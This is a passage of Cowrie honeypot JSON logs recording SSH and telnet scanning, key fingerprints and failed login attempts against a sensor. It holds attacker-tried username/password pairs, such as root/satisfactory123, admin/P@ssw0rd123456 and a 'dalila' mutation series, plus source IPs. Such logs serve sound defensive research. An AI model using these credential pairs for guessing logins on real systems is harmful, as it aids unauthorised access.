{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:96:dc:50:ee:6b:77:dc:83:31:36:f2:bb:f9:7a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw5QE5bVdrVsCxM67AYScloDU0ZG4ptd9QtT5CXtuTZINgcCGFKzHeXu7rplNol/T1CE1fQININjTL7E9Do0fx6qJbFg22rjGI/2jqMOjnhfdS24DZZMccb8EBQZ+V86RENsSON9tWrwIvdhcC6PuSTOQwEvhSohcgBjnmEFO4koKPf55Xpw0DGpN+Ky/QbErTGRK2f85wn4lFEny79GGEDc7cHyp6usfQAlbvhEdwJc5RQPh9YHrodyTnSd/nV46zN1GNXZUjG7+hYY+rmtdF79dOg112zlFUtjtu+WYuqN6t4WdGD6z+1JKmwYvlenjX1aEN69UERIkxIM6iO0hX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:96:dc:50:ee:6b:77:dc:83:31:36:f2:bb:f9:7a:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.051464Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:96:dc:50:ee:6b:77:dc:83:31:36:f2:bb:f9:7a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw5QE5bVdrVsCxM67AYScloDU0ZG4ptd9QtT5CXtuTZINgcCGFKzHeXu7rplNol/T1CE1fQININjTL7E9Do0fx6qJbFg22rjGI/2jqMOjnhfdS24DZZMccb8EBQZ+V86RENsSON9tWrwIvdhcC6PuSTOQwEvhSohcgBjnmEFO4koKPf55Xpw0DGpN+Ky/QbErTGRK2f85wn4lFEny79GGEDc7cHyp6usfQAlbvhEdwJc5RQPh9YHrodyTnSd/nV46zN1GNXZUjG7+hYY+rmtdF79dOg112zlFUtjtu+WYuqN6t4WdGD6z+1JKmwYvlenjX1aEN69UERIkxIM6iO0hX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.055249Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:b2:64:47:a6:4f:2f:e3:e0:16:a7:9a:ba:c7:96:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCptLwJW/YND+Klgx0om7ihyv5lfL0zO8CRErexNqDpJ/MKYHynf9bcDJJtn1JYPYx0+jRzAsiZaQbP6JPwKuHppWc4CsQ3vzfveLVxXwMXJywuyv0LR2qruZwCLrux4aimhqBXbxYu0PjCVyhBzvdHI+2l3Q+pQ2X2ksu9GP6W9Z4xvvhTcjxdw5/qd4qbY2xyG6UXpclTLlzWf64W9pfj37FengrcJMzNe9pZN7LOm/mW6fxTc3vJWJYQ1GYhndgiUlGOxTgY58XoQqVeSpZoz+3BGufwn2bfZ2uRMX1oJIBlnAi6WUCwA9mrQTIzxyZPkQP9f46oFAzEBJG3uxH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:b2:64:47:a6:4f:2f:e3:e0:16:a7:9a:ba:c7:96:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.077165Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:b2:64:47:a6:4f:2f:e3:e0:16:a7:9a:ba:c7:96:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCptLwJW/YND+Klgx0om7ihyv5lfL0zO8CRErexNqDpJ/MKYHynf9bcDJJtn1JYPYx0+jRzAsiZaQbP6JPwKuHppWc4CsQ3vzfveLVxXwMXJywuyv0LR2qruZwCLrux4aimhqBXbxYu0PjCVyhBzvdHI+2l3Q+pQ2X2ksu9GP6W9Z4xvvhTcjxdw5/qd4qbY2xyG6UXpclTLlzWf64W9pfj37FengrcJMzNe9pZN7LOm/mW6fxTc3vJWJYQ1GYhndgiUlGOxTgY58XoQqVeSpZoz+3BGufwn2bfZ2uRMX1oJIBlnAi6WUCwA9mrQTIzxyZPkQP9f46oFAzEBJG3uxH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.081723Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.108077Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":38032,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d75ccc6990","protocol":"ssh","message":"New connection: 190.85.41.170:38032 (159.203.135.109:22) [session: b7d75ccc6990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:03.261115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:03.267318Z","src_ip":"190.85.41.170","session":"b7d75ccc6990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:03.342155Z","src_ip":"190.85.41.170","session":"b7d75ccc6990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"x!","message":"login attempt [x/x!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:03.673276Z","src_ip":"190.85.41.170","session":"b7d75ccc6990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:04.761444Z","src_ip":"190.85.41.170","session":"b7d75ccc6990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":34664,"dst_ip":"159.203.135.109","dst_port":23,"session":"d201cfc51291","protocol":"telnet","message":"New connection: 199.103.57.63:34664 (159.203.135.109:23) [session: d201cfc51291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:30.503087Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":64594,"dst_ip":"10.17.0.5","dst_port":22,"session":"170dc391ada2","protocol":"ssh","message":"New connection: 213.209.159.56:64594 (10.17.0.5:22) [session: 170dc391ada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:36.922084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:36.927130Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:37.009662Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila","message":"login attempt [dalila/dalila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:37.411077Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila1","message":"login attempt [dalila/dalila1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:38.495903Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila123","message":"login attempt [dalila/dalila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:39.581235Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila1234","message":"login attempt [dalila/dalila1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:40.667490Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dalila","password":"dalila12345","message":"login attempt [dalila/dalila12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:41.752704Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:42.839059Z","src_ip":"213.209.159.56","session":"170dc391ada2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":51054,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72171dc3d41","protocol":"ssh","message":"New connection: 43.135.166.146:51054 (10.17.0.5:22) [session: e72171dc3d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:57.119750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:57.126086Z","src_ip":"43.135.166.146","session":"e72171dc3d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:57.199154Z","src_ip":"43.135.166.146","session":"e72171dc3d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satisfactory123","message":"login attempt [root/satisfactory123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:57.508869Z","src_ip":"43.135.166.146","session":"e72171dc3d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:33:58.584690Z","src_ip":"43.135.166.146","session":"e72171dc3d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15810036659241,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:05.661063Z","src_ip":"199.103.57.63","session":"d201cfc51291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":56770,"dst_ip":"159.203.135.109","dst_port":22,"session":"740c4efb163b","protocol":"ssh","message":"New connection: 190.85.41.170:56770 (159.203.135.109:22) [session: 740c4efb163b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:26.014403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:26.019223Z","src_ip":"190.85.41.170","session":"740c4efb163b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:26.089080Z","src_ip":"190.85.41.170","session":"740c4efb163b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123456","message":"login attempt [admin/P@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:26.373131Z","src_ip":"190.85.41.170","session":"740c4efb163b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:27.448358Z","src_ip":"190.85.41.170","session":"740c4efb163b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":47746,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e91f8cba720","protocol":"ssh","message":"New connection: 205.254.166.156:47746 (159.203.135.109:22) [session: 2e91f8cba720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:29.586895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:29.591578Z","src_ip":"205.254.166.156","session":"2e91f8cba720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:29.804014Z","src_ip":"205.254.166.156","session":"2e91f8cba720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2019","message":"login attempt [root/P@ssw0rd@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:30.679884Z","src_ip":"205.254.166.156","session":"2e91f8cba720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:31.895236Z","src_ip":"205.254.166.156","session":"2e91f8cba720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":34482,"dst_ip":"159.203.135.109","dst_port":22,"session":"be51df003ccc","protocol":"ssh","message":"New connection: 45.123.110.70:34482 (159.203.135.109:22) [session: be51df003ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:46.662680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:46.667618Z","src_ip":"45.123.110.70","session":"be51df003ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:46.901066Z","src_ip":"45.123.110.70","session":"be51df003ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:47.863331Z","src_ip":"45.123.110.70","session":"be51df003ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:34:49.100984Z","src_ip":"45.123.110.70","session":"be51df003ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":49900,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1bdd458fcde","protocol":"ssh","message":"New connection: 43.135.166.146:49900 (10.17.0.5:22) [session: d1bdd458fcde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:23.041209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:23.046875Z","src_ip":"43.135.166.146","session":"d1bdd458fcde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-